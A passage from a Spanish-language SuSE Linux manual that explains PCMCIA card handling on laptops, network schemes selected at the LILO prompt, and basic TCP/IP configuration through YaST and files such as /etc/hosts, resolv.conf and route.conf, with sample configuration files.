La pgina web http://www.cs.utexas.edu/users/kharker/linux-laptop/
reune mucha informacin general sobre Linux para porttiles.

El concepto
El soporte del hardware PCMCIA se realiza a travs de un sub-sistema que se
desarrolla casi completamente independiente del kernel estndar y por tanto
an no ha sido integrado al mismo. Se espera que el soporte de tarjetas
PCMCIA forme parte del kernel oficial, ya que los desarrollos actuales tienen
ese fin.
Actualmente solo hay soporte PCMCIA en forma de mdulos de kernel (ver
apartado 13.2), cuya administracin va a cargo de un programa especial lla-
mado Card-Manager (cardmgr), Administrador de Tarjetas. Este admin-
istra los sockets PCMCIA y carga o descarga el mdulo de kernel corre-

137
5. Porttiles con tarjetas PCMCIA

spondiente. El Card-Manager se convierte as en una especie de segundo


daemon de kernel (para ms informacin sobre kerneld o kmod del Kernel
2.2.x, ver el apartado 13.2). Este concepto de modularizacin permite el cam-
bio de tarjetas sin necesidad de medidas especiales.
El concepto tambin tiene sus desventajas. Por ejemplo, existen ciertas re-
stricciones para la instalacin de una computadora con controladora SCSI del
tipo PCMCIA, ya que no es posible compilar un kernel que incorpore el driver
que lo soporte. Esto significa que no se puede instalar Linux completamente
en una computadora con disco SCSI conectado a una tarjeta PCMCIA. La
instalacin en s es posible, pero resulta muy difcil arrancar la computadora,
porque solo se puede cargar el driver para la controladora SCSI despus del
arranque del kernel (en apartado 15.1.2 se explica una modalidad que permite
el arranque).
Es posible incorporar el driver para un JAZ-Drive en el kernel, as que el uso
de este dispositivo no presenta los problemas expuestos anteriormente, pero a
cambio dificulta el acceso a una impresora va puerto paralelo. Esta dificultad
se resuelve usando el sistema parport de la serie de kernel 2.2.x.
La nica salida a este problema es el uso de una forma especial de un
Ramdisk, que permite ejecutar programas antes del verdadero arranque del
sistemai. As se pueden cargar los mdulos necesarios para el soporte PCM-
CIA antes del inicio de sistema.
El uso de esta tcnica es bastante complicado, motivo por el cual no ser
tratado en esta documentacin1.
El disquete de arranque de SuSE incorporado en el paquete, se apoya en
esta forma especial de un Ramdisk. Si su sistema Linux estuviera instalado
por completo en un disco duro que se conecta a la computadora con una
controladora SCSI del tipo PCMCIA, habra que arrancar el sistema siempre
con disquete, cosa que generalmente no se desea. Adems, una actualizacin
del kernel representa mucho trabajo, por lo que se recomienda especialmente
no instalar el sistema de esta manera, sino generar como mnimo una particin
raz en el disco (E)IDE que generalmente existe en el porttil. Para ello son
necesarios alrededor de 20 MB.

Instalacin
Como se ha explicado antes, el disquete de arranque de SuSE es capaz de
iniciar el Card-Manager antes del arranque real y de cargar los mdulos
PCMCIA necesarios. Este procedimiento, que se incluye desde el SuSE Lin-
ux 4.4.1, reconoce automticamente el chipset PCMCIA en uso.
Despus de arrancar linuxrc seleccione la opcin `Mdulos de kernel
(Drivers)' y despus la opcin `Cargar drivers PCMCIA'. Ahora se
tiene la posibilidad de pasar determinados parmetros2 de arranque al sis-
tema PCMCIA. El primer recuadro permite introducir parmetros para los
1
para mayor informacin sobre el tema leer los ficheros ramdisk.txt y initrd.txt del
directorio /usr/src/linux/Documentation.
2 Se puede encontrar indicaciones sobre ello en los ficheros pcmcia.txt y i82365.txt, que

se encuentran en el directorio doc del primer CD.

138
5. Porttiles con tarjetas PCMCIA

ncleos de los mdulos PCMCIA y el segundo para los drivers de las tarjetas.
Normalmente no hace falta proporcionar estos parmetros adicionales ya que
linuxrc intenta reconocer el chipset PCMCIA, carga los mdulos de kernel e
inicia a continuacin el Card-Manager. Este ltimo tiene un par de segundos
para analizar el hardware y cargar, en su caso, los mdulos necesarios.

Por falta de espacio, solo se encuentran en el disquete de arranque aquellos


mdulos que son importantes para la instalacin. No contiene mdulos
para tarjetas con mdem ni otras similares.

En cuanto linuxrc indica que el Card-Manager se ha iniciado con xito, es


posible cargar el sistema de instalacin directamente desde el CD y continuar
 + F3 , y Alt +
de esta manera la instalacin con YaST como procedimiento normal (ver
2.3.4). Las indicaciones en las consolas 3 y 4 (Alt 
apartado
   
F4 ) muestran si el hardware fue reconocido correctamente.
Si se olvida seleccionar el paquete pcmcia cuando se instala por primera vez,
se deber hacer ms tarde. En caso de haber efectuado la instalacin a travs
de una tarjeta PCMCIA se tendr que iniciar el sistema con el disquete de ar-
ranque usando la opcin `Iniciar el sistema instalado' (ver aparta-
do 16.2, Pgina 371) y agregar despus con YaST el paquete pcmcia olvidado
(ver apartado 3.5.3, Pgina 85).

Si el sistema PCMCIA no fue activado durante la primera instalacin y lo


quiere usar ms tarde, tendr que instalar con YaST el paquete pcmcia,
serie a (ver apartado 3.5.3, Pgina 85). Si existe la duda, es fcil compro-
barlo con YaST.

Control de tarjetas PCMCIA

Figura 5.1: PCMCIA Cardinfo

Como ya se ha dicho antes, es posible cambiar tarjetas PCMCIA en caliente


(mientras la computadora est encendida). Introduciendo o sacando tarjetas
se ejecutan scripts que se encuentran en /etc/pcmcia. Con cardctl es posi-

139
5. Porttiles con tarjetas PCMCIA

ble obtener informacin sobre la situacin del sistema PCMCIA o modificar


el estado de una tarjeta. Para ejecutar este programa es necesario pasar al
mismo instrucciones o comandos como p. ej. cardctl status. Los comandos
admitidos se indican en pantalla cuando no se introduce ningn comando en
especial; (ver la Manpage de cardctl (man 8 cardctl)).
Bajo el Sistema X Window existe cardinfo, una superficie grfica para
cardctl que muestra los datos ms importantes de su tarjeta PCMCIA (ver
Figura 5.1, Pgina 139).

Configuracin
En el directorio /usr/doc/packages/pcmcia se encuentra la docu-
mentacin acerca de las posibilidades de este sistema que incluye el amplio
PCMCIA-HOWTO. A parte de esto hay numerosas Manpages sobre el tema
las cuales estn resumidas en la descripcin del paquete.
Lo importante para el uso de PCMCIA con SuSE Linux es la instalacin del
paquete pcmcia de la serie a y la correcta definicin de la variable PCMCIA
en /etc/rc.config. Las otras dos variables que aparecen slo se usan en
casos especiales y corresponden a las variables PCIC_OPTS y CORE_OPTS del
PCMCIA-HOWTO.
Existen bsicamente dos posibilidades para la configuracin del hardware
PCMCIA. Dejando colocadas las tarjetas continuamente, se pueden consid-
erar como fijas y por lo tanto, configurarlas de este modo mediante el proced-
imiento normal con YaST. Si por el contrario se quiere tener la posibilidad
de extraer las tarjetas cuando la computadora est en marcha, se debe pre-
scindir de YaST y en su lugar modificar los ficheros *.opts del directorio
/etc/pcmcia para configurar las tarjetas. Se trata de una tarea que no es
precisamente simple para las tarjetas RDSI en formato PCMCIA.
Para usuarios un poco experimentados existe una tercera va, que es una
mezcla de las dos ya mencionadas. Use YaST para la configuracin y pare
la red (o bien los servicios de red afectados) p. ej. con init 1 cuando se
quiera cambiar una tarjeta. Despus de haberla cambiado se deben iniciar
nuevamente los servicios de red p. ej. con init 2.

PCMCIA-SCHEMES
Con frecuencia hace falta incorporar un porttil en diferentes entornos de red.
El sistema PCMCIA facilita mucho esta tarea ya que existe la posibilidad de
guardar un esquema (ingl. scheme) para cada entorno de red y activar este
mismo en el arranque (p. ej. directamente a travs del prompt de LILO).
En tal caso, no se configura la tarjeta de red PCMCIA con YaST; si ya se
hubiera hecho, se debe entrar en la administracin de YaST y desactivar la
tarjeta red (eth0) mediante la opcin `Configuracin de red' y despus
`Configuracin bsica de red' (ver apartado 3.7.1, Pgina 90). Cuan-
do la configuracin va YaST se haya desactivado, se guardan los esquemas
de red en /etc/pcmcia/network.opts (Fichero 5.0.12, Pgina 142).
Todos los MOUNTS tienen que aparecer en /etc/fstab, sin olvidar la op-
cin noauto! La funcin start_fn copia, segn la configuracin deseada,

140
5. Porttiles con tarjetas PCMCIA

los datos necesarios en el sitio correcto (en este caso /etc/hosts). Las fun-
ciones start_fn y stop_fn pueden albergar cualquier otro comando (script)
de la shell.
Es aconsejable cambiar algunos parmetros en /etc/rc.config a "no",
para que el sub-sistema PCMCIA pueda activar determinados servicios por
s solo (Fichero 5.0.10, Pgina 141).

NETCONFIG=""
CHECK_ETC_HOSTS="no"
BEAUTIFY_ETC_HOSTS="no"
CREATE_HOSTCONF=""
CREATE_RESOLVCONF=""

Fichero 5.0.10: PCMCIA: Fragmento de rc.config

Ahora hace falta generar diferentes secciones de LILO en /etc/lilo.conf,


que contengan las lneas append adecuadas para poder seleccionar el esque-
ma deseado en el arranque (Fichero 5.0.11, Pgina 141).

boot=/dev/hda
read-only
prompt
vga = normal # force sane state

image = /boot/vmlinuz
root = /dev/hda3
label = home
append = "SCHEME=home"

image = /boot/vmlinuz
root = /dev/hda3
label = suse
append = "SCHEME=suse"

Fichero 5.0.11: PCMCIA: lilo.conf

Evidentemente se tendrn que adaptar los parmetros a las necesidades. De-


spus de la modificacin se ejecuta lilo como `root'; ver detalles sobre la
configuracin de LILO en el Captulo 4.
El esquema deseado se activa introduciendo suse en el prompt de LILO
o bien home. Durante el uso de la computadora se puede cambiar de un
esquema al otro con cardctl (ver apartado 5, Pgina 139). El siguiente
ejemplo cambia de suse a home:
tierra: # cardctl scheme home
Despus de este comando, el esquema home se activar nuevamente.

141
5. Porttiles con tarjetas PCMCIA

# The address format is "scheme,socket,instance,hwaddr".


case "$ADDRESS" in
home,*,*,*)
IF_PORT=""
BOOTP="n"
IPADDR="192.168.1.11"
NETMASK="255.255.255.0"
NETWORK="192.168.1.0"
BROADCAST="192.168.1.255"
GATEWAY="192.168.1.2"
DOMAIN="ke.central.de"
SEARCH=""
MOUNTS=""
# Extra stuff to do after setting up the interface
start_fn () {
rm -f /etc/hosts && cp /etc/netenv/hosts-home /etc/hosts
}
# Extra stuff to do before shutting down the interface
stop_fn () { return; }
;;
suse,*,*,*)
IF_PORT=""
BOOTP="n"
IPADDR="192.168.103.11"
NETMASK="255.255.255.0"
NETWORK="192.168.103.0"
BROADCAST="192.168.103.255"
GATEWAY="192.168.103.1"
DOMAIN="suse.de"
SEARCH="suse.de"
DNS_1="192.168.102.1"
MOUNTS="/home"
start_fn () {
rm -f /etc/hosts && cp /etc/netenv/hosts-suse /etc/hosts
}
stop_fn () { return; }
;;
esac

Fichero 5.0.12: /etc/pcmcia/network.opts

142
Parte III

Configuracin de red

143
Captulo 6
Linux en la red

Conexiones de red: Una visin global


En la poca actual de las telecomunicaciones, la cantidad de computadoras
conectadas va red es tan grande que ya casi no se encuentran mquinas
que no estn conectadas a una red como mnimo temporalmente. Linux,
que naci en Internet solventa todas las necesidades y ofrece todas las
herramientas necesarias para incorporarse en distintos entornos de red.
Este captulo resume los pasos necesarios para crear y mantener una conexin
de red; se presentan los ficheros de configuracin centrales y algunas de las
herramientas de mantenimiento ms importantes.
Primero se explica cmo instalar, una computadora con Linux, en una red de
rea local (ingl. LAN) y cmo se construye una pequea red formada por
computadoras Linux, continuando con la conexin va modem. Este apartado
trata especialmente sobre el enlace con Internet sirvindose del protocolo
PPP; adems, hay explicaciones extensas sobre la configuracin de un acceso
RDSI. Para terminar, se expone brevemente la configuracin de los sistemas
de correo y de noticias y se presenta un sistema de envo de Fax bajo Linux.
YaST sirve para casi toda la configuracin de cualquier red (ver apartado 3.7,
Pgina 90 y apartado 17.6, Pgina 387). No obstante tambin se explican
en este captulo los mecanismos bsicos de configuracin y se indican los
ficheros necesarios, ya que una red puede ser de una complejidad casi infinita.

Conexiones en una red de rea local (LAN)


No es algo complicado incorporar una computadora de Linux en una red de
rea local (LAN) formada por otras computadoras con Unix o Linux. Hay
algunos pocos requisitos a cumplir pero estos no imponen ninguna restriccin
especial sobre el uso de Linux en redes.

Requisitos, Preparativos
Linux soporta ya una gran cantidad de tarjetas de red Ethernet, Arcnet,
algunas tarjetas TokenRing y adems, conoce casi todos los protocolos de
red de mayor difusin como TCP/IP, IPX y AppleTalk. El mbito de este
capitulo no permite, ni de cerca, cubrir todas las configuraciones posibles. Es
por eso que se discute solamente el caso genrico, que es el de la instalacin
de una computadora Linux con tarjeta Ethernet en una red con protocolo

145
6. Linux en la red

TCP/IP. Hay informacin actualizada sobre la configuracin de otras redes


p. ej. en /usr/src/linux/Documentation junto con las fuentes de kernel.
La ayuda en el programa de configuracin del kernel es otra buena fuente de
informacin.
Se tienen que cumplir los siguientes requisitos:
 La tarjeta red de la computadora debe ser soportada y Linux la reconoce
bien si el resultado del comando:
tierra:~ # /sbin/ifconfig
contiene una lnea que comienza con eth0:.

Si se realiza el soporte de la tarjeta red con un mdulo de kernel (ver aparta-


do 13.2, Pgina 310) caso por omisin del kernel de SuSE el nombre
del mdulo tiene que figurar como alias en /etc/conf.modules. Para la
primera tarjeta Ethernet sera entonces:
alias eth0 tulip
Esto se hace automticamente, cargando durante la primera instalacin en
Linuxrc el driver para la tarjeta red. Se puede hacer lo mismo posterior-
mente desde YaST (ver apartado 3.7.1, Pgina 90).

Cumpliendo los requisitos mencionados, lo nico que queda antes de config-


urar la red es echar un vistazo a los trminos de la Tabla 6.1, Pgina 148.

Nombre de computa- El nombre que la computadora debe tener en la


dora red, p. ej. tierra. El nombre no debe tener ms
que ocho caracteres y no debe estar asignado a
ninguna computadora en la red local.
Nombre de dominio El nombre de dominio al cual pertenecer la
computadora. Los dominios sirven para la clasi-
ficacin de las redes. Se accede a una computa-
dora mediante un nombre totalmente cualificado
que se constituye por el nombre de la mquina,
el del dominio y el del dominio de primer nivel.
As p. ej. tierra.cosmos.univ es la computa-
dora tierra en el dominio cosmos.univ. El
dominio de primer nivel no puede estar forma-
do por ms de cuatro letras. La plantilla para un
nombre de computadora totalmente cualificado
es Nombre_Computadora.Nombre_Dominio.
Dominio_Primer_Nivel.

Tabla 6.1: Contina en la pgina siguiente ...

146
6. Linux en la red

Direccin IP La direccin de la computadora en la red. Cada


ordenador tiene para cada interfaz de red (p. ej.
una tarjeta Ethernet o RDSI) por lo menos una
direccin nica en toda la red. Segn el es-
tndar vigente, esta direccin se compone de
una secuencia de cuatro bytes que se apun-
tan generalmente separados por puntos (p. ej.
192.168.0.20).
Al asignar las direcciones IP se debera contem-
plar un posible enlace posterior con Internet. Si
este enlace est planeado, se recomienda usar
desde un principio direcciones registradas.
En la norma RFC 1597 hay tres intervalos de
direcciones previstas para el uso privado, que
no pueden provocar problemas en caso de una
conexin accidental a Internet, porque se trata
de direcciones cuyos datos no se rutean (no se
transfieren) entre las diferentes computadoras en
Internet. Los intervalos de direcciones son:
10.0.0.0 ) 10.255.255.255 (Red de clase A)
172.16.0.0 ) 172.31.255.255 (Red de clase B)
192.168.0.0 ) 192.168.255.255 (Red de clase C)

Hay algunas direcciones IP que no estn pre-


vistas para computadoras, ya que cumplen fun-
ciones especiales. Por ejemplo, la direccin
192.168.0.0 est reservada para la red misma
y 192.168.0.255 es la direccin correspondi-
ente de Broadcast (direccin de difusin).
Direccin de gateway La direccin del Gateway en la red. El Gate-
way es una computadora que se encuentra dentro
de ms de una red y que se encarga de traspasar
paquetes de informacin de una red a la otra.
Mscara de red La mscara de red (ingl. netmask) determina en
cul red se encuentra una cierta direccin. La
direccin IP de la computadora se relaciona por
un AND lgico con la mscara de red, por lo
tanto tapa la parte de la direccin que corre-
sponde al host , as que solo queda la direccin
de la red. Una mscara de red muy tpica es
255.255.255.0.

Tabla 6.1: Contina en la pgina siguiente ...

147
6. Linux en la red

Direccin del servi- El servidor de nombres (DNS, DomainName-


dor de nombres Service) ofrece el servicio de conversin de
nombres de computadoras en direcciones IP.
As se asigna p. ej. a tierra la direccin IP
192.168.0.20. Si hay acceso a un servidor
de nombres a travs de la red, es necesario in-
dicar su direccin IP durante la configuracin de
la red.

Tabla 6.1: Variables para la configuracin de red

6.1 Configuracin con YaST


Con la informacin suministrada anteriormente no deberan presentarse prob-
lemas al configurar la red con YaST. Tenga en cuenta lo que se ha mencionado
en el apartado 6, Pgina 145.
1. Entre al sistema como usuario `root'.
2. Inicie YaST y entre al men `Administracin del sistema',
`Configuracin de red', `Configuracin bsica de red'.

Figura 6.1: Configuracin de red con YaST

3. Seleccione un nmero libre, p. ej. 0.



4. Pulse F5 para seleccionar `Ethernet' como dispositivo, y salga del
cuadro de dilogo seleccionando `Continuar'.

5. Pulse F6 (`IP'), e introduzca la direccin IP de la computadora, p. ej.
192.168.0.20. A continuacin se precisa la indicacin de la mscara de
red. Este es tpicamente 255.255.255.0 para una sub-red de la clase C,

148
6.2. Configuracin manual de la red Dnde tocar?

que contiene hasta 254 computadoras. Si no existe ninguna computadora


en la red que funcione como Gateway, no se debe indicar nada aqu.
Salga de la pantalla seleccionando `Continuar'.
6.
 .
Active el dispositivo de red con F4 
7.
 
Pulsando F10 se guarda la configuracin. Para salir de la pantalla sin
8.
 .
guardar los cambios pulse Esc 
9. La opcin `Cambiar nombre del host' permite otorgar un nombre a
la computadora o el cambio del mismo. El cuadro de dilogo pide tambin
la introduccin del nombre de dominio al cual pertenece la computadora.
10. Con la opcin `Configurar servicios de red' se puede decidir
cules servicios de red se deben activar durante el arranque. Estos pueden
ser el inetd, el programa portmap y el servidor NFS. Tambin se deter-
mina cul nombre de computadora y dominio debe aparecer en la lnea
From, enviando mensajes al USENET.
 El inetd sirve para iniciar determinados servicios de red (p. ej. telnet,
finger, ftp etc.) en el momento necesario. Se aconseja iniciar el inetd
en cada arranque de sistema, ya que, sin su presencia, no se pueden ac-
tivar muchos servicios de red; si su sistema est expuesto a intrusiones,
tenga en cuenta los consejos del apartado 18.2.2, Pgina 408.
 Para usar la computadora como servidor NFS o NIS es preciso iniciar
el Portmapper portmap cuando el sistema arranca. Una vez se ha de-
cidido iniciar el Portmapper el programa le pregunta si quiere arrancar
tambin el servidor NFS.
11. La opcin `Configuracin DNS' permite la configuracin de uno o
varios servidores de nombre. Es posible indicar hasta tres direcciones
IP separadas por espacios.
12. Con la opcin `Configurar sendmail' se puede efectuar una configu-
racin bsica del paquete sendmail. El apartado 7.5, Pgina 186 contiene
una descripcin explcita de la configuracin de sendmail.
YaST le soporta tambin en la modificacin del fichero de configuracin cen-
tral /etc/rc.config, que contiene una multitud de opciones (ver aparta-
do 17.6, Pgina 387).
Aqu se termina la configuracin de la red y YaST inicia SuSEconfig, que se
encarga de introducir las indicaciones hechas en los correspondientes ficheros
(ver apartado 6.2, Pgina 149). Para activar los ajustes y usar la nueva con-
figuracin hay que iniciar de nuevo los daemons usados. Esto se consigue
introduciendo el siguiente comando:
tierra:~ # rcnetwork restart
(ver tambin Captulo 17, Pgina 381).

6.2 Configuracin manual de la red Dnde tocar?


La configuracin manual de la red no es muy aconsejable, ya que es ms
sencillo servirse de YaST. No obstante puede haber casos que exigen un
retoque manual, porque YaST no cubre todo el campo de la configuracin
de redes.

149
6. Linux en la red

6.2.1 Ficheros de configuracin


En resumen, este apartado explica la funcin de los ficheros de configuracin
de red y expone sus formatos.
/etc/rc.config
Este fichero de configuracin central (ver apartado 17.5, Pgina 385) con-
tiene la mayora de las opciones de configuracin de red. La mayora
de los ficheros que figuran a continuacin se generan automticamente
cuando se modifica la configuracin de red con YaST o cuando se ejecuta
SuSEconfig despus de una modificacin manual de /etc/rc.config.
Tambin se modifican con l los scripts de arranque.

Al modificar el fichero /etc/rc.config a mano, siempre se ha de ejecu-


tar posteriormente SuSEconfig para que los cambios en la configuracin
se escriban automticamente en los ficheros correctos.

/etc/hosts
Este fichero (ver Fichero 6.2.1, Pgina 150) tiene una tabla de asignacin
entre nombres de computadoras y direcciones IP. En esta tabla deben
aparecer todas las computadoras a las que se quiere establecer una conex-
in IP cuando no se usa un servidor de nombres. Cada computadora ocupa
una lnea en la tabla que contiene el nmero IP, el nombre completo de
la computadora y el nombre (abreviado), p. ej. tierra. La lnea debe
comenzar con la direccin IP y las dems indicaciones se separan con
espacios o tabuladores. Los comentarios comienzan con `#'.

#
# hosts This file describes a number of hostname-to-address
# mappings for the TCP/IP subsystem. It is mostly
# used at boot time, when no name servers are running.
# On small systems, this file can be used instead of a
# "named" name server. Just add the names, addresses
# and any aliases to this file...
#
127.0.0.1 localhost
192.168.0.1 sol.cosmos.univ sol
192.168.0.20 tierra.cosmos.univ tierra
# End of hosts

Fichero 6.2.1: /etc/hosts

/etc/networks
En este fichero se convierten los nombres de redes en direcciones de red.
El formato se parece al del fichero hosts solo que aqu los nombres de
las redes aparecen por delante de sus direcciones IP (ver Fichero 6.2.2,
Pgina 151).

150
6.2. Configuracin manual de la red Dnde tocar?

#
# networks This file describes a number of netname-to-address
# mappings for the TCP/IP subsystem. It is mostly
# used at boot time, when no name servers are running.
#
loopback 127.0.0.0
localnet 192.168.0.0
# End of networks.

Fichero 6.2.2: /etc/networks

order hosts, bind Determina el orden de llamada a los servi-


cios de resolucin de nombres. Los parmet-
ros posibles son:
hosts: Bsqueda en el fichero /etc/hosts
bind: Llamada a un servidor de nombres
multi on/off Determina si una computadora dada de al-
ta en /etc/hosts puede tener varias direc-
ciones IP.
nospoof on Estos parmetros influyen sobre el spoof-
alert on/off ing del servidor de nombres, pero no tienen
ninguna otra influencia sobre la configu-
racin de red.
trim <domainname> El nombre de dominio que se indica aqu, se
resta del nombre totalmente cualificado de la
computadora que lo contiene (antes de asig-
nar la direccin IP al nombre de computa-
dora). Se trata de una opcin de utilidad
cuando el fichero /etc/hosts solo contiene
nombres de computadoras locales (alias) y,
estos deben ser reconocidos tambin cuando
se aade el nombre del dominio.

Tabla 6.2: Parmetros de /etc/host.conf

151
6. Linux en la red

/etc/host.conf
Este fichero controla el funcionamiento de la biblioteca de resolucin,
que convierte nombres de computadoras en direcciones IP. Hay varios
parmetros para ajustar y cada uno debe estar en una lnea aparte. Los
parmetros admitidos figuran en Tabla 6.2, Pgina 151; los comentarios
comienzan con el smbolo `#'.
El Fichero 6.2.3, Pgina 152 muestra un ejemplo de /etc/host.conf.

#
# /etc/host.conf
#
# We have named running
order hosts bind
# Allow multiple addrs
multi on
# End of host.conf

Fichero 6.2.3: /etc/host.conf

/etc/nsswitch.conf
Con la version 2.0 de la librera GNU de C comenz el uso del
Name Service Switch (NSS) (ver Manpage de nsswitch.conf
(man 5 nsswitch.conf) y ms explcito en The GNU C Library Refer-
ence Manual, captulo "System Databases and Name Service Switch"1 ).
El fichero /etc/nsswitch.conf determina en cul orden se solicitan
determinadas informaciones. El Fichero 6.2.4, Pgina 152, muestra
un ejemplo para nsswitch.conf en el cual las lneas de comentarios
comienzan con `#'. Respecto al banco de datos hosts, el ejemplo
siguiente indica que se enva una solicitud al servicio DNS (ver paquete
named) despus de consultar /etc/hosts (files).

#
# /etc/nsswitch.conf
#
passwd: compat
group: compat

hosts: files dns


networks: files dns

services: db files
protocols: db files

netgroup: files

Fichero 6.2.4: /etc/nsswitch.conf

1 paquete libcinfo, serie doc.

152
6.2. Configuracin manual de la red Dnde tocar?

Los bancos de datos accesibles va NSS se mencionan en la Tabla 6.3,


Pgina 153. Para el futuro se espera tambin la disponibilidad de
automount, bootparams, netmasks y publickey.

aliases Mail-alias, usado por sendmail(8); ver Manpage de


aliases (man 5 aliases).
ethers Direcciones de ethernet.
group Usado por getgrent(3) para grupos de usuarios; ver
Manpage de group (man 5 group).
hosts Para nombres de host y direcciones IP, los usan fun-
ciones como gethostbyname(3) o parecidas.
netgroup Lista de hosts y de usuarios vlida en la red para
administrar los derechos de acceso; ver Manpage de
netgroup (man 5 netgroup).
networks Nombres y direcciones de redes, lo usa getnetent(3).
passwd Contraseas de usuarios, que usa getpwent(3); ver
Manpage de passwd (man 5 passwd).
protocols Protocolos de red; informacin usada por
getprotoent(3); ver Manpage de protocols
(man 5 protocols).
rpc Nombres y direcciones del tipo Remote Procedure
Call; lo usan getrpcbyname(3) y otras funciones
parecidas.
services Servicios de red; lo usa getservent(3).
shadow Las contraseas Shadow de los usuarios, usa-
do por getspnam(3); ver Manpage de shadow
(man 5 shadow).

Tabla 6.3: Bancos de datos accesibles a travs de


/etc/nsswitch.conf

Las opciones de configuracin de los bancos de datos NSS se encuen-


tran en Tabla 6.4, Pgina 154.

files acceso direkto a los ficheros, p. ej. a /etc/


aliases.
db acceso a travs de un banco de datos.
nis ver apartado 6.4, Pgina 157.
nisplus
dns Parmetro adicional, solo aplicable para hosts
y networks.

Tabla 6.4: Contina en la pgina siguiente ...

153
6. Linux en la red

compat Parmetro adicional para passwd, shadow y


group.
adicionalmente es posible conseguir diferentes resultados
en caso de determinados eventos Lookup;
hay detalles en Manpage de nsswitch.conf
(man 5 nsswitch.conf).

Tabla 6.4: Opciones de configuracin de los bancos de datos NSS

/etc/resolv.conf
Este fichero, tal como /etc/host.conf, tambin juega su papel respecto
a la resolucin de nombres de computadoras con la biblioteca resolver.
Aqu se indica a cul dominio pertenece la computadora (palabra clave
search) y cul es la direccin del servidor de nombres a acceder (palabra
clave nameserver); se pueden indicar varios nombres de dominio. Re-
solver un nombre no totalmente cualificado, significa obtener un nombre
totalmente cualificado y vlido al aadir las indicaciones en search. Es
posible indicar varios servidores de nombre introduciendo varias lneas
que comienzan con nameserver; los comentarios se introducen como
siempre con `#'.
Hay un ejemplo para /etc/resolv.conf en el Fichero 6.2.5, Pgi-
na 154.

# /etc/resolv.conf
#
# Our domain
search cosmos.univ
#
# We use sol (192.168.0.1) as nameserver
nameserver 192.168.0.1
# End of resolv.conf
Fichero 6.2.5: /etc/resolv.conf

YaST apunta aqu el servidor de nombres que se le indica! (ver aparta-


do 6.1, Pgina 148)
/etc/HOSTNAME
Aqu se encuentra el nombre de la computadora, es decir, solo el nombre
del host sin el nombre de dominio. Hay distintos scripts que leen este
fichero durante el arranque de la computadora. No debe contener ms
que una sola lnea con el nombre de la computadora! Este fichero se
genera tambin automticamente a travs de los parmetros en /etc/rc.
config.
6.2.2 Scripts de arranque (Startup-Sripts)
Aparte de los ficheros de configuracin mencionados, existen diferentes
scripts (macros) que inician los programas de red cuando la computadora

154
6.3. Routing en SuSE Linux

arranca. Estos scripts se inician cuando el sistema entra en uno de los nive-
les de ejecucin de multiusuario (ingl. Multiuser-Runlevel) (ver Tabla 6.5,
Pgina 155).

/sbin/init.d/network Este script se encarga de la configuracin


del hardware y software de la red du-
rante el arranque. Se evalan tambin
los apuntes hechos por YaST (ver aparta-
do 6.1, Pgina 148) en /etc/rc.config
sobre las direcciones IP de computadoras
y redes tal como las de mscara de red y
gateway.
/sbin/init.d/route Sirve para definir las rutas estticas en la
red. El apartado 6.3, Pgina 155 contiene
una descripcin detallada.
/sbin/init.d/inetd Inicia el inetd, si estuviese previsto en
/etc/rc.config. Se necesita p. ej. para
acceder desde la red a la computadora en
cuestin.
/sbin/init.d/rpc Inicia el portmapper, que se necesita
para usar servidores RPC como p. ej. un
servidor NFS.
/sbin/init.d/ Inicia el servidor NFS.
nfsserver
/sbin/init.d/sendmail Controla el proceso de sendmail en fun-
cin de los ajustes /etc/rc.config.
/sbin/init.d/ypserv Inicia el servidor NIS en funcin de los
ajustes en el fichero /etc/rc.config.
/sbin/init.d/ypclient Inicia el cliente NIS en funcin de los
ajustes en /etc/rc.config.

Tabla 6.5: Scripts de arranque de las utilidades de red

6.3 Routing en SuSE Linux

Introduccin

En SuSE Linux la tabla de routing no es administrada por las variables


en el fichero de configuracin central /etc/rc.config, sino por el script
/sbin/init.d/route y el fichero de configuracin /etc/route.conf.
Despus de la inicializacin de la red mediante los scripts de arranque
/sbin/init.d/network, /sbin/init.d/inetd, /sbin/init.d/i4l_
hardware y eventualmente algunos adicionales, /sbin/init.d/route
busca la tabla de routing en /etc/route.conf y la define para el sistema.

155
6. Linux en la red

El fichero /etc/route.conf admite todas las rutas estticas necesarias para


las distintas tareas en un sistema: ruta hacia una computadora, ruta hacia una
computadora a travs de un gateway y ruta hacia una red.
El uso del routing dinmico con /usr/sbin/routed es otra posibilidad. Su
configuracin resulta ms complicada; se puede consultar en la pgina de
manual (manpage) de routed.

Configuracin y uso

Las reglas para escribir el fichero de configuracin /etc/route.conf se


adaptan a la salida en pantalla del comando /sbin/route. Usando el coman-
do /sbin/route sin ningn parmetro adicional, aparece la tabla de routing
usada actualmente por el kernel. El fichero /etc/route.conf es igual al
que se obtiene mediante el comando /sbin/route exceptuando las entradas
en las columnas Flags, Metric, Ref y Use.
A continuacin las reglas de /etc/route.conf:

 Se ignoran lneas vacas y las que tengan `#' al comienzo de ella. Una
entrada se compone de un mnimo de dos columnas y un mximo de
cuatro.
 El destino de una ruta se encuentra en la primera columna en forma de la
direccin IP de una red o una computadora. Si hay acceso a un servidor
de nombres, se puede usar tambin el nombre totalmente cualificado de
la red o de la computadora.
 La palabra clave default est reservada para el gateway por defecto. No
se debe usar 0.0.0.0 como el destino de definiciones del routing.
 La segunda columna contiene ya sea un blanco de relleno (0.0.0.0),
la direccin IP o bien, el nombre completo de una computadora. Esta
computadora puede ser el gateway por defecto o un gateway a travs del
cual se puede acceder a otra computadora o red.
 La tercera columna contiene la mscara de red para redes o computadoras
detrs de un gateway. Por ejemplo, para una computadora por detrs de
un gateway el valor de la mscara es 255.255.255.255.
 La ltima columna solo es importante para las redes locales de la com-
putadora (Loopback, Ethernet, RDSI, PPP, Dummy-Device, : : : ); en ella
se apunta el nombre del dispositivo.

En Figura 6.3.1 hay un ejemplo simple de /etc/route.conf. Despus de


las modificaciones en pfad/etc/route.conf, se da de alta la nueva tabla de
routing con el comando:
tierra:~ # rcroute restart

156
6.4. NIS, las pginas amarillas del LAN

# Destination Dummy/Gateway Netmask Device


#
# 192.168.0.1 0.0.0.0 255.255.255.255 ippp0
# default 192.168.0.1
#
# Net devices
#
127.0.0.0 0.0.0.0 255.255.255.0 lo
204.127.235.0 0.0.0.0 255.255.255.0 eth0
#
# Gateway
#
default 204.127.235.41
#
# Host behind Gateway
#
207.68.156.51 207.68.145.45 255.255.255.255
#
# Net behind a Gateway
#
192.168.0.0 207.68.156.51 255.255.0.0

Fichero 6.3.1: Ejemplo simple de /etc/route.conf

6.4 NIS, las pginas amarillas del LAN


6.4.1 Que es NIS?
Cuando en una red existen varios sistemas Unix que quieren acceder a recur-
sos comunes, hay que asegurar la armona de los identificativos de usuarios y
de grupos en todas las computadoras de la red. La red debe ser completamente
